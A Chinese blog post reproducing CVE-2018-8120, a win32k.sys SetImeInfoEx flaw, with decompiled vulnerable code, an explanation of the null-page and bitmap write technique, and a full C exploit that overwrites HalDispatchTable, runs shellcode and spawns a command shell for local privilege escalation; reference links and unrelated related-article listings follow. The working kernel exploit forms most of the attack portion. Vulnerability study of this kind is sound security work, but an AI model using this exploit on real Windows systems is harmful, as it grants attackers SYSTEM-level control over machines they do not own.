CVE-2018-8120 漏洞复现

漏洞描述

win32k.sys中函数 SetImeInfoEx未对指针进行合法性检查,从而导致一个任意地址写。

漏洞分析

漏洞成因

int __stdcall SetImeInfoEx(int ProcessWindowStation, _DWORD *userBuf)
{
int result; // eax
_DWORD *v3; // eax
_DWORD *v4; // eax result = ProcessWindowStation;
if ( ProcessWindowStation )
{
v3 = *(_DWORD **)(ProcessWindowStation + 0x14);// 没有判断v3的合法性
while ( v3[5] != *userBuf )
{
v3 = (_DWORD *)v3[2];
if ( v3 == *(_DWORD **)(ProcessWindowStation + 0x14) )
return 0;
}
v4 = (_DWORD *)v3[0xB]; // v4可以被控制
if ( !v4 )
return 0;
if ( !v4[18] )
qmemcpy(v4, userBuf, 0x15Cu); // 任意地址写0x15C字节
return 1;
}
return result;
}

这里的 v3在取出 ProcessWindowStation + 0x14处的指针时,没有对其合法性进行检查,可能为 0。如果我们可以申请到 0地址处的内存,就可以控制 v4,之后 memcpy即可实现任意地址写。

利用手法

当我们使用 CreateWindowStation创建一个新的窗口时,他的 ProcessWindowStation + 0x14会默认为 0。此时我们在通过 NtAllocateVirtualMemory分配内存,并控制好 0地址处相对应的值,便可以实现任意地址写。再利用 bitMap实现更精确的任意地址写,覆盖函数 NtQueryIntervalProfile的函数指针,实现控制程序执行流的目的。

exp

#include<stdio.h>
#include<Windows.h>
#include<Psapi.h>
#include<profileapi.h> #include "x86-header.h" DWORD gSyscall = 0x1226;
__declspec(naked) void NtUserSetImeInfoEx(PVOID a)
{
_asm
{
mov esi, a;
mov eax, gSyscall;
mov edx, 0x7FFE0300;
call dword ptr[edx];
ret 4;
}
} int main()
{
puts("[+] Preparing Bitmap...");
unsigned int ibuf[0x60] = { 0x90 };
HANDLE BManager = CreateBitmap(0x60, 1, 1, 32, ibuf);
HANDLE BWorker = CreateBitmap(0x60, 1, 1, 32, ibuf);
PVOID Mpvscan0 = getpvscan0(BManager);
PVOID Wpvscan0 = getpvscan0(BWorker);
printf("[*] Get Manager: 0x%p\n", Mpvscan0);
printf("[*] Get Worker: 0x%p\n", Wpvscan0); puts("[+] Preparing vul...");
HWINSTA hSta = CreateWindowStation(
0, //LPCSTR lpwinsta
0, //DWORD dwFlags
READ_CONTROL, //ACCESS_MASK dwDesiredAccess
0 //LPSECURITY_ATTRIBUTES lpsa
);
SetProcessWindowStation(hSta); puts("[*] Get ntdll Module");
HMODULE hModule = LoadLibraryA("ntdll.dll");
if (hModule == 0)
{
puts("Failed to load ntdll.dll");
return 0;
}
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hModule, "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == 0)
{
puts("Failed to resolve NtAllocateVirtualMemory");
return 0;
} PVOID ZeroAddr = 1;
ULONG size = 0x1000;
int NTStatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &ZeroAddr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(NTStatus) == 0 || ZeroAddr != 0)
{
puts("Failed to Allocate to 0 addr");
printf("Alloc: 0x%p\n", ZeroAddr);
return 0;
}
printf("Alloc Virtual Memory: 0x%p\n", ZeroAddr); *(DWORD*)(0x14) = (DWORD)(Wpvscan0);
*(DWORD*)(0x2C) = (DWORD)(Mpvscan0); puts("[+] Trigger vul, modify Manager pvscan0");
char buf[0x200];
memset(buf, 0, sizeof(buf));
PVOID* p = (PVOID*)&buf;
p[0] = (PVOID)Wpvscan0;
DWORD* pp = (DWORD*)&p[1];
pp[0] = 0x180;
pp[1] = 0x1d95;
pp[2] = 6;
pp[3] = 0x10000;
pp[5] = 0x4800200; NtUserSetImeInfoEx(buf); PVOID pNtkrnlpaBase = GetKernelBase("ntkrnlpa.exe");
printf("[*] Get ntkrnlpa.exe kernel base: 0x%p\n", pNtkrnlpaBase); HMODULE ntkrnlpaBase = LoadLibraryA("ntkrnlpa.exe");
if (ntkrnlpaBase == 0)
{
puts("Failed to load ntkrnlpa.exe");
return 0;
}
PVOID pUserSpaceAddress = GetProcAddress(ntkrnlpaBase, "HalDispatchTable"); DWORD HalDispatchTable_4 = (DWORD)pNtkrnlpaBase + ((DWORD)pUserSpaceAddress - (DWORD)ntkrnlpaBase) + 4;
if (HalDispatchTable_4 != 0)
printf("[*] Get HalDispatchTable+0x4 0x%lx\n", HalDispatchTable_4); PVOID pOrg = 0;
PVOID sc = &ShellCode; SetBitmapBits((HBITMAP)BManager, sizeof(PVOID), &HalDispatchTable_4);
GetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &sc); NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hModule, "NtQueryIntervalProfile");
if (NtQueryIntervalProfile == 0)
{
puts("Failed to resolve NtQueryIntervalProfile");
return 0;
}
DWORD interVal = 0;
NtQueryIntervalProfile(0x1337, &interVal);
SetBitmapBits((HBITMAP)BWorker, sizeof(PVOID), &pOrg);
CreateCmd(); return 0;
}

参考链接

https://blog.csdn.net/qq_38025365/article/details/106321131

https://blog.csdn.net/qq_38025365/article/details/106343443

https://www.freebuf.com/vuls/174183.html

https://blog.csdn.net/qq_36918532/article/details/123717955

https://zhuanlan.zhihu.com/p/510326660

https://zhuanlan.zhihu.com/p/51422777

CVE-2018-8120 漏洞复现的更多相关文章

  1. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  2. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  3. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  4. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  5. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  6. ghostscript远程代码执行漏洞复现

    这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下 1.关于ghostscript Ghostscript是一套建基于Adobe.PostScr ...

  7. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  8. Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析

    0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...

  9. [漏洞复现]CVE-2018-4887 Flash 0day

    1.漏洞概述 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878). 攻击者 ...

  10. CVE-2018-15982漏洞复现

    作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个  ...

随机推荐

  1. 【lwip】13-TCP协议分析之源码篇

    前言 上一年就写好了,一直没时间整理出来,现在不整理了,直接放出来. 链接:https://www.cnblogs.com/lizhuming/p/17438682.html TCP RAW接口分析 ...

  2. ODOO配置属性

    2字段的属性 2.1 隐藏字段 <field name='model_name' invisible="True"/> 2.2 条件下隐藏 <field name ...

  3. 生物信息培训之WGCNA-权重基因共表达网络分析

    本文分享自微信公众号 - 生信科技爱好者(bioitee).如有侵权,请联系 support@oschina.cn 删除.本文参与"OSC源创计划",欢迎正在阅读的你也加入,一起分 ...

  4. find提权

    更新中.............. find 常用参数 语法:find [path-] [expression] path为查找路径,.为当前路径,/为根目录 expression即为参数 -name ...

  5. 如何获取 C#程序 内核态线程栈

    一:背景 1. 讲故事 在这么多的案例分析中,往往会发现一些案例是卡死在线程的内核态栈上,但拿过来的dump都是用户态模式下,所以无法看到内核态栈,这就比较麻烦,需要让朋友通过其他方式生成一个蓝屏的d ...

  6. jvm中类和对象定义存储基础知识

    1 类文件数据结构类型 Class文件结构主要有两种数据结构:无符号数和表 •无符号数:用来表述数字,索引引用.数量值以及字符串等,比如 图1中类型为u1,u2,u4,u8分别代表1个字节,2个字节, ...

  7. Some book

    ## book [C++] Accelerated C++ C++ Primer 5th C++ 程序设计语言: 1 ~ 3 C++ 程序设计语言: 4 C++ 编程思想 C++ 标准库 2th C+ ...

  8. MyBatis体系笔记

    MyBatis 什么是MyBatis MyBatis是优秀的持久层框架 MyBatis使用XML将SQL与程序解耦,便于维护 MyBatis学习简单,执行高效,是JDBC的延伸 1.MyBatis开发 ...

  9. 国标GB28181协议客户端开发(二)程序架构和注册

    国标GB28181协议客户端开发(二)程序架构和注册 本系列文章旨在探讨国标GB28181协议设备端的开发过程.本文将聚焦于架构设计和设备注册,并详细介绍了设备端的程序架构设计.exosip库介绍和接 ...

  10. Linux系统运维之subversionEdge部署

    一.介绍 Subversion Edge是Collabnet公司发布的SVN和Apache等组件结合的SVN管理工具.由于安装过subversion+apache,发现添加账户都需要登录服务器改配置, ...